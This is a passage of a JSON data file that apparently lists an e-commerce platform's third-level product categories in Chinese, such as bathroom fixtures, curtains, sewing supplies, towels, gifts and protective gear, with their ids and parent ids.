et_child":false},{"id":34200,"name":"燃气阀门","parent_cid":34053,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34054,"name":"软水/过滤设备","parent_cid":34053,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34055,"name":"烟道阀门","parent_cid":34053,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":26418,"name":"除醛系列","parent_cid":21030,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26883,"name":"固定式晾衣架","parent_cid":21171,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26882,"name":"晾衣架配件","parent_cid":21171,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26881,"name":"升降晾衣架","parent_cid":21171,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26880,"name":"伸缩晾衣架","parent_cid":21171,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33896,"name":"智能晾衣架","parent_cid":21171,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26290,"name":"纯纸墙纸","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26289,"name":"定制壁画","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34569,"name":"铝箔墙纸/防水贴纸","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26094,"name":"PVC墙纸","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26291,"name":"绒面墙纸","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26346,"name":"沙粒墙纸(喷砂壁纸)","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26329,"name":"无纺布墙纸","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26345,"name":"其它材质类墙纸","parent_cid":20966,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26969,"name":"按摩浴缸","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27093,"name":"冲水器","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26968,"name":"地漏","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27099,"name":"蹲便器","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26970,"name":"角阀","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27336,"name":"净身妇洗器","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34570,"name":"可移动坐便器","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27098,"name":"淋浴房","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34002,"name":"淋浴花洒","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27015,"name":"喷头/喷枪","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27335,"name":"全卫浴套装","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27218,"name":"商用卫浴","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27096,"name":"拖把池","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27383,"name":"卫浴阀门系统","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27214,"name":"卫浴家具","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33718,"name":"卫浴家具","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27217,"name":"卫浴龙头","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33719,"name":"卫浴龙头","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":33721,"name":"卫浴配件","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27215,"name":"卫浴水箱","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27304,"name":"卫浴五金/挂件","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33720,"name":"卫浴五金/挂件","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27095,"name":"小便器","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27097,"name":"洗面盆","parent_cid":21265,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27434,"name":"一体智能坐便器","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27384,"name":"浴室壁挂凳椅","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27405,"name":"智能坐便盖板","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27094,"name":"坐便器","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27337,"name":"坐便器盖板","parent_cid":21265,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26331,"name":"灯暖式浴霸","parent_cid":20968,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26330,"name":"多功能浴霸","parent_cid":20968,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26332,"name":"风暖式浴霸","parent_cid":20968,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34576,"name":"凉霸","parent_cid":20968,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34577,"name":"排风扇","parent_cid":20968,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27219,"name":"办公桌垫","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26974,"name":"餐垫","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26975,"name":"餐巾","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27100,"name":"茶几垫","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26973,"name":"椅套","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26971,"name":"桌布","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27027,"name":"桌布/桌旗/桌椅套/椅垫","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26972,"name":"桌旗","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27312,"name":"桌椅脚套","parent_cid":21267,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27791,"name":"百叶帘/折帘/罗马帘","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27793,"name":"成品窗帘","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27787,"name":"窗纱","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27796,"name":"电动窗帘整体套装","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27792,"name":"定制窗帘","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27794,"name":"辅料配件","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27786,"name":"卷帘","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27789,"name":"门帘","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27795,"name":"全屋窗帘套餐","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27788,"name":"线帘","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27790,"name":"珠帘/挂帘","parent_cid":21455,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27534,"name":"床头柜盖布","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27500,"name":"床头罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27505,"name":"电话套","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27504,"name":"电脑罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27520,"name":"电视机罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27508,"name":"钢琴罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27493,"name":"挂袋","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27515,"name":"净化器罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27507,"name":"酒瓶套","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27501,"name":"开关套","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27503,"name":"烤火罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27506,"name":"空调罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27516,"name":"垃圾桶罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27523,"name":"门把手套","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27518,"name":"暖气片罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27502,"name":"沙发套","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27514,"name":"万能盖巾","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27517,"name":"微波炉罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27519,"name":"洗衣机罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27522,"name":"遥控器篮","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27521,"name":"遥控器套","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27535,"name":"一次性防尘罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27524,"name":"饮水机罩","parent_cid":21359,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26724,"name":"笔","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26732,"name":"布艺DIY成品","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26729,"name":"尺子","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26735,"name":"缝纫DIY材料套装","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26734,"name":"缝纫DIY工具套装","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26733,"name":"缝纫DIY配件/辅料/配饰","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26737,"name":"缝纫机","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26727,"name":"划粉","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26728,"name":"剪刀","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26731,"name":"镊子","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26739,"name":"热熔胶棒","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26738,"name":"热熔胶枪","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26725,"name":"线","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26726,"name":"针","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26730,"name":"锥子","parent_cid":21078,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26865,"name":"居家婚庆拖鞋","parent_cid":21161,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26861,"name":"居家凉拖/凉鞋","parent_cid":21161,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26860,"name":"居家棉拖","parent_cid":21161,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33931,"name":"居家棉鞋","parent_cid":21161,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26864,"name":"居家亲子拖鞋","parent_cid":21161,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26863,"name":"居家亚麻拖鞋","parent_cid":21161,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26862,"name":"一次性拖鞋","parent_cid":21161,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26549,"name":"抱枕被","parent_cid":21050,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26557,"name":"床头靠垫","parent_cid":21050,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26546,"name":"靠垫/抱枕","parent_cid":21050,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26550,"name":"腰靠垫","parent_cid":21050,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26419,"name":"干发毛巾","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26409,"name":"汗蒸服","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26427,"name":"酒店毛巾浴巾","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26400,"name":"毛巾/面巾","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26399,"name":"手巾/手帕","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26422,"name":"一次性浴巾","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26397,"name":"浴巾","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26430,"name":"浴巾毛巾方巾套装/三件套","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26403,"name":"浴裙/浴袍/浴衣","parent_cid":21031,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27803,"name":"十字绣成品","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27802,"name":"十字绣工具","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27804,"name":"十字绣配件","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27801,"name":"十字绣套件","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27797,"name":"绣布","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27798,"name":"绣线","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27800,"name":"原版绣图","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27799,"name":"钻石绣","parent_cid":21465,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26481,"name":"美臀垫/保健坐垫","parent_cid":21039,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26480,"name":"飘窗垫","parent_cid":21039,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26478,"name":"蒲团","parent_cid":21039,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26479,"name":"沙发垫","parent_cid":21039,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26477,"name":"椅垫","parent_cid":21039,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26875,"name":"保暖披肩","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26874,"name":"保暖手套","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26868,"name":"保暖鞋","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26876,"name":"发热鞋垫","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26866,"name":"怀炉/怀炉用品","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26871,"name":"暖腹宝","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26873,"name":"暖脚宝/暖垫","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26869,"name":"暖手宝/充电式热水袋","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26878,"name":"热水袋套","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26877,"name":"桌上暖垫","parent_cid":21163,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27834,"name":"创意/设计灯","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27837,"name":"创意/设计玩具","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27871,"name":"创意抱枕","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27878,"name":"创意风筝","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27873,"name":"创意根雕","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27877,"name":"创意颈枕","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27895,"name":"创意礼盒/礼品套组","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27898,"name":"创意零钱包","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27876,"name":"创意陶瓷","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27875,"name":"创意贴纸","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27874,"name":"创意玩偶","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27897,"name":"创意钥匙包","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27870,"name":"创意坐垫","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27842,"name":"储蓄罐","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33202,"name":"定制礼盒/定制礼品套组","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27848,"name":"防丢器","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27832,"name":"海螺/贝壳/珊瑚","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27846,"name":"金箔花","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27845,"name":"生日报","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27899,"name":"时尚烟灰缸","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27843,"name":"手机链","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27828,"name":"相册/相簿","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27810,"name":"相框","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27850,"name":"香皂花","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27812,"name":"线香","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27869,"name":"许愿瓶/幸运星瓶","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27867,"name":"阳光罐/月光罐","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27847,"name":"钥匙扣","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27849,"name":"音乐盒","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27844,"name":"招财猫","parent_cid":21484,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27101,"name":"安全帽","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27338,"name":"防打鼾用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27222,"name":"防护耳罩","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27104,"name":"防护服","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27223,"name":"防护面具","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27221,"name":"防护手套","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27105,"name":"防护鞋","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27387,"name":"反光穿戴用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27308,"name":"反光配件/挂件/贴饰","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27225,"name":"隔音耳塞","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27102,"name":"护目镜","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27103,"name":"护腕垫","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27025,"name":"护膝/护腰/护肩/护颈","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27391,"name":"肩部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27397,"name":"颈部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26976,"name":"口罩","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27313,"name":"口罩护耳/防勒带","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27318,"name":"口罩滤芯/口罩滤片","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27389,"name":"手部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27388,"name":"头部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27395,"name":"腿部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27393,"name":"腕部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27396,"name":"膝部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27392,"name":"胸部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26978,"name":"眼贴","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26977,"name":"眼罩(非蒸汽)","parent_cid":21269,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":27394,"name":"腰部防护用品","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27386,"name":"一次性防护帽","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27385,"name":"一次性口罩垫","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27224,"name":"隐形鼻罩","parent_cid":21269,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":f